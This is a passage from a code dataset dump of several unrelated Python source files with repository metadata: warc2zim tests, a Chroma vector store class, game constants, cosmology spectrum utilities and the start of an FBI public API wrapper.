)\n\n    def test_args_only(self):\n        # error, name required\n        with pytest.raises(SystemExit) as e:\n            warc2zim([])\n            assert e.code == 2\n\n        # error, no such output directory\n        with pytest.raises(Exception) as e:\n            warc2zim([\"--name\", \"test\", \"--output\", \"/no-such-dir\"])\n\n        # success, special error code for no output files\n        assert warc2zim([\"--name\", \"test\", \"--output\", \"./\"]) == 100\n\n    def test_custom_css(self, tmp_path):\n        custom_css = b\"* { background-color: red; }\"\n        custom_css_path = tmp_path / \"custom.css\"\n        with open(custom_css_path, \"wb\") as fh:\n            fh.write(custom_css)\n\n        zim_output = \"test-css.zim\"\n\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"test-css\",\n                \"--custom-css\",\n                str(custom_css_path),\n            ]\n        )\n        zim_output = tmp_path / zim_output\n\n        res = self.get_article(zim_output, \"A/example.com/\")\n        assert \"https://warc2zim.kiwix.app/custom.css\".encode(\"utf-8\") in res\n\n        res = self.get_article(zim_output, \"A/warc2zim.kiwix.app/custom.css\")\n        assert custom_css == res\n\n    def test_custom_css_remote(self, tmp_path):\n        zim_output = \"test-css.zim\"\n        url = (\n            \"https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap-reboot.css\"\n        )\n\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"test-css\",\n                \"--custom-css\",\n                url,\n            ]\n        )\n        zim_output = tmp_path / zim_output\n\n        res = self.get_article(zim_output, \"A/example.com/\")\n        assert \"https://warc2zim.kiwix.app/custom.css\".encode(\"utf-8\") in res\n\n        res = self.get_article(zim_output, \"A/warc2zim.kiwix.app/custom.css\")\n        assert res == requests.get(url).content\n","repo_name":"openzim/warc2zim","sub_path":"tests/test_warc_to_zim.py","file_name":"test_warc_to_zim.py","file_ext":"py","file_size_in_byte":18112,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"16"}
+{"seq_id":"12904417084","text":"\"\"\"\nTODO: Add docstring.\n\nrequires:\npip install chromadb\npip install chromadb-client\n\"\"\n\n\"\"\"\nfrom typing import Dict, Optional, List, Union\nimport uuid\n\n\n# pylint: disable=import-error\nimport chromadb as chroma\nfrom chromadb.types import Collection\n\n# pylint: disable=no-name-in-module\nfrom chromadb import PersistentClient\n\nfrom .vector_store import VectorStore, QueryResult\n\n\nclass ChromaVectorStore(VectorStore):\n    \"\"\"\n    Implementation of the VectorStore for the Chroma vector database.\n\n    Provides methods to interact with Chroma, including creating, querying,\n    and managing collections. Supports ephemeral, persistent, and HTTP Chroma clients.\n\n    Ensure `chromadb` and `chromadb-client` packages are installed.\n\n    Attributes:\n        client: Chroma client instance.\n        current_collection: Current active collection in Chroma.\n\n    Args:\n        api_key (Optional[str]): API key or token.\n        client_type (str): Chroma client type (\"ephemeral\", \"persistent\", or \"http\").\n        path (Optional[str]): Path for persistent storage.\n        host (Optional[str]): Host for HTTP client.\n        port (Optional[int]): Port for HTTP client.\n        config (Optional[Dict[str, str]]): Additional configurations.\n    \"\"\"\n\n    # pylint: disable=R0913\n    def __init__(\n        self,\n        api_key: Optional[str] = None,\n        client_type: str = \"ephemeral\",\n        path: Optional[str] = None,\n        host: Optional[str] = None,\n        port: Optional[int] = None,\n        config: Optional[Dict[str, str]] = None,\n    ):\n        \"\"\"\n        Initializes the ChromaVectorStore with optional parameters.\n\n        Args:\n            api_key (str, optional): API key or authentication token.\n            client_type (str): Type of Chroma client (\"ephemeral\", \"persistent\", or \"http\").\n            path (str, optional): Path for persistent client storage.\n            host (str, optional): Host for HTTP client.\n            port (int, optional): Port for HTTP client.\n            config (Dict[str, str], optional): Additional configuration settings.\n        \"\"\"\n        super().__init__(api_key, None, config)\n\n        if client_type == \"ephemeral\":\n            self.client = chroma.Client()\n        elif client_type == \"persistent\":\n            if not path:\n                raise ValueError(\"Path is required for persistent client.\")\n            # pylint: disable=no-member\n            self.client = chroma.PersistentClient(path=path)\n        elif client_type == \"http\":\n            if not host or not port:\n                raise ValueError(\"Host and port are required for HTTP client.\")\n            # pylint: disable=no-member\n            self.client = chroma.HttpClient(host=host, port=port)\n        else:\n            raise ValueError(f\"Invalid client type: {client_type}\")\n\n        self.current_collection = None\n\n    def create_collection(\n        self, name: str, metadata: Optional[Dict[str, str]] = None\n    ) -> Collection:\n        \"\"\"\n        Creates a new collection with the given name and metadata in Chroma.\n\n        Args:\n            name (str): The name of the collection to create.\n            metadata (Optional[Dict[str, str]]): Optional metadata to associate with the collection.\n\n        Returns:\n            Collection: The newly created collection.\n\n        Raises:\n            ValueError: If the collection already exists.\n            ValueError: If the collection name is invalid.\n        \"\"\"\n        # Using the Chroma client to create a collection\n        self.current_collection = self.client.create_collection(\n            name=name, metadata=metadata\n        )\n\n    def use_collection(self, name):\n        \"\"\"\n        Sets the current collection to an existing one or creates it if it doesn't exist.\n\n        Args:\n            name (str): Name of the collection to use or create.\n        \"\"\"\n        # Set the current collection to an existing one\n        self.current_collection = self.client.get_or_create_collection(name)\n\n    def delete_collection(self, name: str) -> None:\n        \"\"\"\n        Deletes a collection with the given name from Chroma.\n\n        Args:\n            name (str): The name of the collection to delete.\n\n        Raises:\n            ValueError: If the collection does not exist.\n        \"\"\"\n        # Using the Chroma client to delete a collection\n        self.client.delete_collection(name=name)\n\n    def add_documents(\n        self,\n        texts: List[str],\n        embeddings: Optional[List[List[float]]] = None,\n        metadata_list: Optional[List[Dict[str, str]]] = None,\n        ids: Optional[List[str]] = None,\n    ) -> None:\n        \"\"\"\n        Adds documents and their associated embeddings and metadata\n        to the current collection in Chroma.\n\n        Args:\n            texts (List[str]): List of documents to be added.\n            embeddings (Optional[List[List[float]]]): List of embeddings.\n            If not provided, embeddings will be generated by Chroma.\n            metadata_list (Optional[List[Dict[str, str]]]): Metadata associated with each document.\n            ids (Optional[List[str]]): IDs for each document.\n            If not provided, unique IDs will be auto-generated.\n\n        Raises:\n            ValueError: If no collection is set.\n            ValueError: Handled by the underlying Chroma library for various conditions.\n        \"\"\"\n        # Ensure a collection is set\n        if not self.current_collection:\n            # pylint: disable=line-too-long\n            raise ValueError(\n                \"No collection is set. Use 'create_collection' or 'use_collection' first.\"\n            )\n\n        # If ids are not provided, auto-generate unique IDs for each document\n        if not ids:\n            ids = [str(uuid.uuid4()) for _ in texts]\n\n        # Add documents to the current collection\n        self.current_collection.add(\n            ids=ids, embeddings=embeddings, metadatas=metadata_list, documents=texts\n        )\n\n    def remove_documents(self, ids: List[str]) -> None:\n        \"\"\"\n        Removes documents with the specified IDs from the current collection in Chroma.\n\n        Args:\n            ids (List[str]): List of document IDs to be removed.\n\n        Raises:\n            ValueError: If no collection is set.\n        \"\"\"\n        # Ensure a collection is set\n        if not self.current_collection:\n            # pylint: disable=line-too-long\n            raise ValueError(\n                \"No collection is set. Use 'create_collection' or 'use_collection' first.\"\n            )\n\n        # Remove documents from the current collection\n        self.current_collection.delete(ids=ids)\n\n    def save_index(self, file_path: str) -> None:\n        \"\"\"\n        Saves the current Chroma index to the specified file path.\n\n        Args:\n            file_path (str): The path where the Chroma index will be saved.\n        \"\"\"\n        self.client = PersistentClient(path=file_path)\n        # pylint: disable=line-too-long\n        # Since Chroma automatically persists data with PersistentClient, no further action is needed.\n\n    def load_index(self, file_path: str) -> None:\n        \"\"\"\n        Loads the Chroma index from the specified file path.\n\n        Args:\n            file_path (str): The path from where the Chroma index will be loaded.\n        \"\"\"\n        # pylint: disable=no-member\n        self.client = PersistentClient(path=file_path)\n        # Chroma will automatically load the data from the provided path.\n\n    def query_collection(\n        self,\n        query_texts: Optional[List[str]] = None,\n        n_results: int = 10,\n        query_embeddings: Optional[List[List[float]]] = None,\n        where: Optional[Dict[str, Union[str, float]]] = None,\n        where_document: Optional[Dict[str, Dict[str, str]]] = None,\n        include: Optional[List[str]] = None,\n    ) -> QueryResult:\n        \"\"\"\n        Queries the current collection in Chroma and returns the nearest neighbors.\n\n        Args:\n            # pylint: disable=line-too-long\n            query_texts (Optional[List[str]]): Document texts for querying.\n            n_results (int): Number of nearest neighbors to return.\n            query_embeddings (Optional[List[List[float]]]): Embeddings for querying.\n            where (Optional[Dict[str, Union[str, float]]]): A filter to narrow down results based on metadata criteria. For example, {\"color\": \"red\", \"price\": 4.20} would return vectors with metadata matching these criteria.\n            where_document (Optional[Dict[str, Dict[str, str]]]): A filter to narrow down results based on document content. For instance, {$contains: {\"text\": \"hello\"}} would return vectors whose documents contain the word \"hello\".\n            include (Optional[List[str]]): Data to include in the results. Defaults to [\"metadatas\", \"documents\", \"distances\"].\n\n\n        Returns:\n            QueryResult: Contains the results.\n\n        Raises:\n            ValueError: If no collection is set or incorrect query parameters are provided.\n        \"\"\"\n        if include is None:\n            include = [\"metadatas\", \"documents\", \"distances\"]\n\n        if not self.current_collection:\n            # pylint: disable=line-too-long\n            raise ValueError(\n                \"No collection set. Use 'create_collection' or 'use_collection' first.\"\n            )\n\n        if not query_embeddings and not query_texts:\n            raise ValueError(\"Provide either 'query_embeddings' or 'query_texts'.\")\n        if query_embeddings and query_texts:\n            raise ValueError(\"Provide only one of 'query_embeddings' or 'query_texts'.\")\n\n        return self.current_collection.query(\n            query_embeddings=query_embeddings,\n            query_texts=query_texts,\n            n_results=n_results,\n            where=where,\n            where_document=where_document,\n            include=include,\n        )\n\n    def list_collections(self) -> List[str]:\n        \"\"\"\n        Lists all collections in Chroma.\n\n        Returns:\n            List[str]: A list of collection names.\n        \"\"\"\n        return self.client.list_collections()\n","repo_name":"dirkjbreeuwer/ai_podcast","sub_path":"src/search_and_retrieval/chroma_vector_store.py","file_name":"chroma_vector_store.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"26676490687","text":"\"\"\" Game backbone, shared instances used in other modules \"\"\"\n\n# global constants\nWIDTH = 640         # framebuffer width\nHEIGHT = 360        # framebuffer height\nMAX_LAYERS = 3      # backgroudn layers\nMAX_SPRITES = 32    # max sprites\nASSETS_PATH = \"../assets\"\n\n# global game objects, delayed creation\n\nengine = ()\t    # tilengine main instance\nwindow = ()\t    # tilengine window instance\nactors = ()\t    # list that contains every active game entity\nui = ()\t\t    # UI items\nworld = ()\t    # world/level instance\nplayer = ()     # player instance\nsounds = ()\t    # sound effects handler\n","repo_name":"megamarc/TilenginePythonPlatformer","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"16"}
+{"seq_id":"70388010568","text":"import numpy as np\nfrom astropy import units as u\nfrom falafel.utils import config\nfrom orphics import cosmology, maps as omaps \nfrom classy_sz import Class\n\ndef ell2ang(ell, angle_unit=None):\n    \"\"\"Convert from harmonic mode ell to an angle with units.\n\n    Parameters\n    ----------\n    ell : float\n        Harmonic mode ell\n    angle_unit : str, optional\n        Desired unit for the angle, by default None\n\n    Returns\n    -------\n    astropy Quantity with astropy Units\n        Angle with units\n\n    Raises\n    ------\n    ValueError\n        You need to give an appropriate value for the angle's units\n\n    \"\"\"\n\n    #Possible Units\n    units_dict = {}\n    units_dict['deg'] = u.deg\n    units_dict['rad'] = u.rad\n    units_dict['arcmin'] = u.arcmin\n    units_dict['arcsec'] = u.arcsec\n\n    if angle_unit == None:\n        raise ValueError(f\"Valid angle units are {', '.join(units_dict.keys())}\")\n\n    #Calculate Angle\n    theta = 2 * np.pi / ell * u.rad\n\n    #Convert Unit\n    return theta.to(units_dict[angle_unit], equivalencies=u.dimensionless_angles())\n\n\ndef ang2ell(angle, angle_unit=None):\n    \"\"\"Convert from an angle to harmonic mode ell. This function adds the astropy units so you only need numbers and strings to use it.\n\n    Parameters\n    ----------\n    angle : float\n        Value of angle\n    angle_unit : str, optional\n        String of the unit for the angle, by default None\n\n    Returns\n    -------\n    int\n        Harmonic mode ell\n\n    Raises\n    ------\n    ValueError\n        You need to give an appropriate value for the angle's units\n    \"\"\"\n\n    #Possible Units\n    units_dict = {}\n    units_dict['deg'] = u.deg\n    units_dict['rad'] = u.rad\n    units_dict['arcmin'] = u.arcmin\n    units_dict['arcsec'] = u.arcsec\n\n    if angle_unit == None:\n        raise ValueError(f\"Valid angle units are {', '.join(units_dict.keys())}\")\n\n    #Convert to Radians\n    angle = angle * units_dict[angle_unit]\n    angle = angle.to(u.rad, equivalencies=u.dimensionless_angles())\n\n    #Calculate Angle\n    return int(2 * np.pi / angle.value)\n\n\ndef nanToZeros(array):\n    return np.where(array == np.nan, 0., array)\n\n\ndef str2bool(string):\n    valid_true = ['true', 't', 'yes', 'y']\n    valid_false = ['false', 'f', 'no', 'n']\n    choice = string.lower()\n\n    if choice in valid_true:\n        boolean_val = True\n    elif choice in valid_false:\n        boolean_val = False\n    else:\n        raise ValueError(f'Valid boolean values are {valid_true + valid_false}')\n\n    return boolean_val\n\n\ndef sort_str_list(l):\n    \"\"\"\n    Sorts list of strings of integers.\n    \"\"\"\n    int_list = np.fromiter(l, dtype=int)\n    string_list = np.sort(int_list).astype(str)\n\n    return string_list\n\n\n\ndef percentDiscrepancy(exp, ref):\n    return (exp - ref) / ref * 100\n\n\ndef SN(signal, noise):\n    return np.sqrt(np.sum( signal**2 / noise**2 ))\n\n\ndef get_theory_dicts(nells=None,lmax=9000,grad=True):\n\n    #Initialize\n    if nells is None: nells = {'TT':0,'EE':0,'BB':0}    # noise (dimensionless)\n    ls = np.arange(lmax+1)\n    ucls = {}\n    tcls = {}\n    unlensedcls = {}\n\n    #Load Theory\n    thloc = config['data_path'] + config['theory_root']\n    theory = cosmology.loadTheorySpectraFromCAMB(thloc,get_dimensionless=False)\n    ells,gt,ge,gb,gte = np.loadtxt(f\"{thloc}_camb_1.0.12_grads.dat\",unpack=True,usecols=[0,1,2,3,4])\n\n    #Repackage Theory into Dictionaries\n    ucls['TT'] = omaps.interp(ells,gt)(ls) if grad else theory.lCl('TT',ls)\n    ucls['TE'] = omaps.interp(ells,gte)(ls) if grad else theory.lCl('TE',ls)\n    ucls['EE'] = omaps.interp(ells,ge)(ls) if grad else theory.lCl('EE',ls)\n    ucls['BB'] = omaps.interp(ells,gb)(ls) if grad else theory.lCl('BB',ls)\n    unlensedcls['TT'] = theory.uCl('TT',ls)\n    unlensedcls['TE'] = theory.uCl('TE',ls)\n    unlensedcls['EE'] = theory.uCl('EE',ls)\n    unlensedcls['BB'] = theory.uCl('BB',ls)\n    ucls['kk'] = theory.gCl('kk',ls)     # this doesn't exist\n    tcls['TT'] = theory.lCl('TT',ls) + nells['TT']\n    tcls['TE'] = theory.lCl('TE',ls)\n    tcls['EE'] = theory.lCl('EE',ls) + nells['EE']\n    tcls['BB'] = theory.lCl('BB',ls) + nells['BB']\n\n    return ls, unlensedcls, ucls, tcls\n\n\n\n#DEPRECATED!\n#Mat's version in orphics is better documented, can take pre-calculated pixel area maps, and works for FFTs and equal area maps\n# def wn(mask1, n1, mask2=None, n2=None):\n#     \"\"\"TODO: check pixel area average\"\"\"\n#     pmap = orphics.maps.psizemap(mask1.shape, mask1.wcs)\n#     if mask2 is None:\n#         output = np.sum(mask1**n1 * pmap) /np.pi / 4.\n#     else:\n#         output = np.sum(mask1**n1 * mask2**n2 * pmap) /np.pi / 4.\n#     return output\n\ndef getClassyCIB(spectra, nu_list, params={}, emulFlag=False, kappaFlag=False):\n    \"\"\"Wrapper for classy_sz calculations of CIB auto and CIB x lensing theory spectra.\n\n    Parameters\n    ----------\n    spectra : str\n        Which CIB spectra do you want? Options: 'auto', 'cross', 'both'\n    nu_list : float\n        List of observing frequencies as numbers in GHz.\n    params : dict, optional\n        Dictionary of classy_sz parameters, by default empty\n    emulFlag : bool, optional\n        Use the cosmopower emulators?, by default False\n    kappaFlag : bool, optional\n        return kappa autospectrum?, by defualt False\n\n    Returns\n    -------\n    ells, Cls_dict\n        Array of ells and a dictionary of Cls. The keys are 'auto' and 'cross', and each of those entries is itself a dictionary indexed by observing frequency as a string.\n    \"\"\"\n\n    if spectra.lower() not in ['both', 'cross', 'auto']:\n        raise ValueError(\"Your 'spectra' variable is incorrect\")\n\n    #Parameters for Cosmology Planck 14, https://arxiv.org/pdf/1303.5076.pdf, best-fit\n    p14_dict={}\n    p14_dict['h'] = 0.6711 \n    p14_dict['omega_b'] = 0.022068\n    p14_dict['Omega_cdm'] = 0.3175 - 0.022068/p14_dict['h']/p14_dict['h']\n    p14_dict['A_s'] = 2.2e-9\n    p14_dict['n_s'] = .9624\n    p14_dict['k_pivot'] = 0.05\n    p14_dict['tau_reio'] = 0.0925\n    p14_dict['N_ncdm'] = 1\n    p14_dict['N_ur'] = 0.00641\n    p14_dict['deg_ncdm'] = 3\n    p14_dict['m_ncdm'] = 0.02\n    p14_dict['T_ncdm'] = 0.71611\n\n    p_hm_dict = {}\n\n    p_hm_dict['mass function'] = 'T10'\n    p_hm_dict['concentration parameter'] = 'D08'\n    p_hm_dict['delta for cib'] = '200m'\n    p_hm_dict['hm_consistency'] = 1\n    p_hm_dict['damping_1h_term'] = 0\n    # Precision\n    p_hm_dict['pressure_profile_epsabs'] = 1.e-8\n    p_hm_dict['pressure_profile_epsrel'] = 1.e-3\n    # HOD parameters for CIB\n    p_hm_dict['M_min_HOD'] = pow(10.,10)  # was M_min_HOD_cib\n\n    #Grid Parameters\n    # Mass bounds\n    p_hm_dict['M_min'] = 1e8 * p14_dict['h']    # was M_min_cib\n    p_hm_dict['M_max'] = 1e16 * p14_dict['h']   # was M_max_cib\n    # Redshift bounds\n    p_hm_dict['z_min'] = 0.07\n    p_hm_dict['z_max'] = 6. # fiducial for MM20 : 6\n    p_hm_dict['freq_min'] = 10.\n    p_hm_dict['freq_max'] = 5e4 # fiducial for MM20 : 6\n    p_hm_dict['z_max_pk'] = p_hm_dict['z_max']\n\n    #Precision Parameters\n    # Precision for redshift integal\n    p_hm_dict['redshift_epsabs'] = 1e-40#1.e-40\n    p_hm_dict['redshift_epsrel'] = 1e-4#1.e-10 # fiducial value 1e-8\n    # Precision for mass integal\n    p_hm_dict['mass_epsabs'] = 1e-40 #1.e-40\n    p_hm_dict['mass_epsrel'] = 1e-4#1e-10\n    # Precision for Luminosity integral (sub-halo mass function)\n    p_hm_dict['L_sat_epsabs'] = 1e-40 #1.e-40\n    p_hm_dict['L_sat_epsrel'] = 1e-3#1e-10\n    # Multipole array\n    p_hm_dict['dlogell'] = 1\n    p_hm_dict['ell_max'] = 3968.0\n    p_hm_dict['ell_min'] = 2.0\n\n    #CIB Parameters\n    p_CIB_dict = {}\n    p_CIB_dict['alpha'] =  0.36\n    p_CIB_dict['T_o'] = 24.4\n    p_CIB_dict['beta'] = 1.75\n    p_CIB_dict['gamma'] = 1.7\n    p_CIB_dict['delta'] = 3.6\n    p_CIB_dict['M_eff'] = 10**12.6\n    p_CIB_dict['L_o'] = 6.4e-8\n    p_CIB_dict['sigma_sq'] = 0.5\n\n    # nu_list = [353,545,857]\n    nu_list_str = str(nu_list)[1:-1]  # Note: this must be a single string, not a list of strings!\n\n    #Frequency Parameters\n    p_freq_dict = {}\n    p_freq_dict['cib_frequency_list_num'] = len(nu_list)\n    p_freq_dict['cib_frequency_list_in_GHz'] = nu_list_str\n\n    #Flux Cuts\n    cib_fcut_dict = {}\n\n    #Planck flux cut, Table 1 in https://arxiv.org/pdf/1309.0382.pdf\n    cib_fcut_dict['100'] = 400\n    cib_fcut_dict['143'] = 350\n    cib_fcut_dict['217'] = 225\n    cib_fcut_dict['353'] = 315\n    cib_fcut_dict['545'] = 350\n    cib_fcut_dict['857'] = 710\n    cib_fcut_dict['3000'] = 1000\n\n    def _make_flux_cut_list(cib_flux, nu_list):\n        \"\"\"\n        Make a string of flux cut values for given frequency list to pass into class_sz\n        Beware: if frequency not in the flux_cut dictionary, it assigns 0\n        \"\"\"\n        cib_flux_list = []\n        keys = list(cib_flux.keys())\n        for i,nu in enumerate(nu_list):\n            if str(nu) in keys:\n                cib_flux_list.append(cib_flux[str(nu)])\n            else:\n                cib_flux_list.append(0)\n        return cib_flux_list\n\n    #Format Flux Cuts\n    cib_flux_list = _make_flux_cut_list(cib_fcut_dict, nu_list)\n\n    #Add Flux Cuts\n    p_freq_dict['cib_Snu_cutoff_list [mJy]'] = str(list(cib_flux_list))[1:-1]\n    p_freq_dict['has_cib_flux_cut'] = 1\n\n    # M.set({# class_sz parameters:\n    #     'output':'lens_cib_1h,lens_cib_2h', \n        \n    #     #CIB Parameters\n    #     'Redshift evolution of dust temperature' :  0.36,\n    #     'Dust temperature today in Kelvins' : 24.4,\n    #     'Emissivity index of sed' : 1.75,\n    #     'Power law index of SED at high frequency' : 1.7,\n    #     'Redshift evolution of L - M normalisation' : 3.6,\n    #     'Most efficient halo mass in Msun' : 10.**12.6,\n    #     'Normalisation of L - M relation in [Jy MPc2/Msun]' : 6.4e-8,\n    #     'Size of of halo masses sourcing CIB emission' : 0.5,\n\n    #     #M_min_HOD is the threshold above which nc = 1:\n    #     'M_min_HOD' : 10.**10,\n\n    #     'M_min' : 1e10*common_settings['h'],\n    #     'M_max' : 1e16*common_settings['h'],\n    #     'z_min' : 0.06,\n    #     'z_max' : 15,\n\n    #     ### Precision\n    #     #redshift_epsabs : 1.0e-40\n    #     #redshift_epsrel : 0.0005\n    #     #mass_epsabs : 1.0e-40\n    #     #mass_epsrel : 0.0005\n    #     'dell' : 64,\n    #     #multipoles_sz : 'ell_mock'\n    #     'ell_max' : 3968.0,\n    #     'ell_min' : 2.0,\n    #     'ndim_masses' : 100,\n    #     'ndim_redshifts' : 100,\n        \n    #     'cib_frequency_list_num' : Nfreq,\n    #     #'cib_frequency_list_in_GHz' : '217,353,545,857,3000',\n    #     'cib_frequency_list_in_GHz' : '353, 545, 857'\n    #     })\n\n    #Create Class Object\n    M = Class()\n    \n    #Add Spectra\n    outspec = []\n    if spectra.lower() == 'both' or spectra == 'auto':\n        outspec.append('cib_cib_1h,cib_cib_2h')\n    if spectra.lower() == 'both' or spectra == 'cross':\n        outspec.append('lens_cib_1h,lens_cib_2h')\n    if kappaFlag:\n        outspec.append('lens_lens_1h,lens_lens_2h')\n    M.set({'output': ','.join(outspec)})\n\n    #Add Parameters\n    M.set(p14_dict)\n    M.set(p_hm_dict)\n    M.set(p_CIB_dict)\n    M.set(p_freq_dict)\n    if params:\n        M.set(params)\n            \n    #Compute Spectra\n    if emulFlag:\n        M.compute_class_szfast()\n    else:\n        M.compute()\n    \n    #Extract Spectra\n    Dl_spectra = {}\n    if spectra.lower() == 'both' or spectra == 'auto':\n        Dl_spectra['auto'] = M.cl_cib_cib()\n    if spectra.lower() == 'both' or spectra == 'cross':\n        Dl_spectra['cross'] = M.cl_lens_cib()\n    M.struct_cleanup()\n    M.empty()\n\n    ells = []\n    Cls_dict = {}\n    #Cycle Through CIB Spectra\n    for spec_key, Dl_dict in Dl_spectra.items():\n        if spec_key.lower() in ['cross', 'both']:\n            freq_list = sort_str_list( list(Dl_dict.keys()) )\n        else:\n            freq_list = Dl_dict.keys()\n        Cls_dict[spec_key] = {}\n\n        #Cycle through Frequencies\n        for nu in freq_list:\n            #Get ells\n            if not len(ells):\n                ells = np.array(Dl_dict[nu]['ell'])\n\n            #Get Spectra\n            Dl_total = np.array(Dl_dict[nu]['1h']) + np.array(Dl_dict[nu]['2h'])\n            Cl_total = dl2cl(Dl_total, ells= ells)\n\n            #Save Spectra\n            Cls_dict[spec_key][nu] = Cl_total\n        \n    #Get Kappa Autospectrum\n    if kappaFlag:\n        Dl_phi = M.cl_lens_lens()\n        Cl_phi = dl2cl(Dl_phi, ells= ells)\n        Cls_dict['lens'] = Cl_phi\n\n    return ells, Cls_dict\n    \n    \n\ndef phi2kappa(phi, type= 'spectrum', ells= None):\n\n    if ells is None:\n        ells = np.arange(len(phi))\n\n    factor = ells * (ells + 1.) / 2.\n\n    if type == 'spectrum':\n        kappa = factor**2 * phi\n    elif type == 'map':\n        kappa = factor**2 * phi\n    else:\n        raise ValueError('Invalid \"type\" argument')\n\n    return kappa\n\n\ndef dl2cl(Dl, ells= None):\n    \n    if ells is None:\n        ells = np.arange(len(Dl))\n    \n    factor = ells * (ells+1) / (2*np.pi)\n    \n    return Dl / factor\n\n\ndef cl2dl(Cl, ells= None):\n    \n    if ells is None:\n        ells = np.arange(len(Cl))\n    \n    factor = ells * (ells+1) / (2*np.pi)\n    \n    return Cl * factor\n\n\n\n\ndef bin_cen2edg(centers, dbins= None):\n    \"\"\"\n    Shifts from midpoints of bins to the edges of the bins (inclusive of the lower and upper endpoints).\n\n    Parameters\n    ----------\n    centers : 1darray\n        Midpoints of bins\n    dbins : 1darray, optional\n        Size of each bin if you have unevenly spaced bins. By default None\n\n    Returns\n    -------\n    1darray\n        Edges of the bins (including both the lowest and highest edges). Length is 1+len(centers)\n    \"\"\"\n    if dbins is None:\n        delta = centers[1] - centers[0]\n        dbins = np.ones(centers.shape) * delta\n\n    right_edges = centers - dbins/2\n    edges = np.append(right_edges, right_edges[-1] + delta)  # doing this instead of centers[-1] * delta/2 avoids issues with odd deltas\n\n    return edges\n\n\ndef bin_edg2cen(edges):\n    \"\"\"\n    Shifts from the edges of bins to their midpoints. Works for unevenly sized bins.\n\n    Parameters\n    ----------\n    edges : 1darray\n        Edges of the bins, including the left edge of the first bin and right edge of the last bin.\n\n    Returns\n    -------\n    1darray\n        Midponts of the bins. Length is len(edges) - 1.\n    \"\"\"\n    return (edges[1:] + edges[:-1]) / 2\n\n\ndef binning(binsize, xdata, ydata, start='midpoint'):\n    \"\"\"\n    Bins x and y data. Handles NaNs just fine. Only works for bins of equal length. For arbitrary or uneven spacing (e.g. log), use orphics.\n    \"\"\"\n\n    #Bin xdata\n    if start.lower() == 'midpoint':\n        midpoint = binsize//2 - 1              # midpoint if binsize = odd and to the left of midpoint if binsize = even\n        xbins = xdata[midpoint : (xdata.size//binsize) * binsize : binsize]\n    elif start.lower() == 'left':\n        xbins = xdata[: (xdata.size//binsize) * binsize : binsize] \n    else:\n        raise ValueError('Need a valid')\n    \n    #Bin ydata\n    ybins = ydata[:(ydata.size//binsize) * binsize]    # drop the last bin if it's too small\n    ybins = np.nanmean(ybins.reshape(-1, binsize), axis=-1)\n\n    return xbins, ybins\n","repo_name":"Yogesh3/ymfuncs","sub_path":"myfuncs/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":15038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19096963672","text":"# -*- coding: utf-8 -*-\n#\nimport helpers\n\n\ndef plot():\n    from matplotlib import pyplot as plt\n    import numpy as np\n\n    data = np.zeros((3, 3))\n    data[:2, :2] = 1.0\n\n    fig = plt.figure()\n\n    ax1 = plt.subplot(131)\n    ax2 = plt.subplot(132)\n    ax3 = plt.subplot(133)\n    axes = [ax1, ax2, ax3]\n\n    for ax in axes:\n        im = ax.imshow(data)\n        fig.colorbar(im, ax=ax, orientation=\"horizontal\")\n\n    return fig\n\n\ndef test():\n    phash = helpers.Phash(plot())\n    assert phash.phash == \"6bc42bd46a95c03f\", phash.get_details()\n    return\n","repo_name":"moritzmuehlbauer/matplotlib2tikz","sub_path":"test/test_subplots_with_colorbars.py","file_name":"test_subplots_with_colorbars.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"5226091652","text":"from typing import Union, Literal\nfrom fbi.connection import __get_api_response\n\n\ndef wanted(person_classification: Union[Literal['Main'], Literal['Accomplice'], Literal['Victim']] = None,\n           page_size: int = 20, page: int = 1, sort_order: Union[Literal['asc'], Literal['desc']] = None) -> dict:\n    \"\"\"\n    Get listing of wanted people\n    :param person_classification: person classification\n    :param page_size: number of items to return\n    :param page: page of result listing\n    :param sort_order: result sort order\n    :return: a list of result dictionaries\n    \"\"\"\n    if person_classification is None:\n        person_classification = \"\"\n    else:\n        person_classification = f\"&person_classification={person_classification}\"\n\n    if sort_order is None:\n        sort_order = \"\"\n    else:\n        sort_order = f\"&sort_order={sort_order}\"\n\n    response = __get_api_response(f\"https://api.fbi.gov/@wanted?pageSize={page_size}&page={page}{person_classification}\")\n    return response['items']\n\n\ndef wanted_person(person_id: str) -> dict:\n    \"\"\"\n    Retrieve information on wanted person\n    :param person_id: id of wanted person\n    :return: a dictionary of person's information\n    \"\"\"\n    return __get_api_response(f\"https://api.fbi.gov/@wanted-person/{person_id}\")\n\n\ndef art_crimes(page_size: int = 20, page: int = 1, sort_order: Union[Literal['asc'], Literal['desc'], None] = None,\n               reference_number: Union[int, str] = None) -> dict:\n    \"\"\"\n    Get listing of national art theft\n    :param page_size: number of items to return\n    :param page: page of result listing\n    :param sort_order: result sort order\n    :param reference_number: art crime reference number\n    :return: a list of result dictionaries\n    \"\"\"\n    if reference_number is None:\n        reference_number = \"\"\n    else:\n        reference_number = f\"&referenceNumber={reference_number}\"\n\n    if sort_order is None:\n        sort_order = \"\"\n    else:\n        sort_order = f\"&sort_order={sort_order}\"\n\n    response = __get_api_response(f\"https://api.fbi.gov/@artcrimes?pageSize={page_size}&page={page}\"\n                                f\"{sort_order}{reference_number}\")\n    return response['items']\n\n\ndef art_crime(crime_id: str) -> dict:\n    \"\"\"\n    Retrieve information on an art crime\n    :param crime_id: id of an art crime\n    :return: dictionary of an art crime's information\n    \"\"\"\n    return 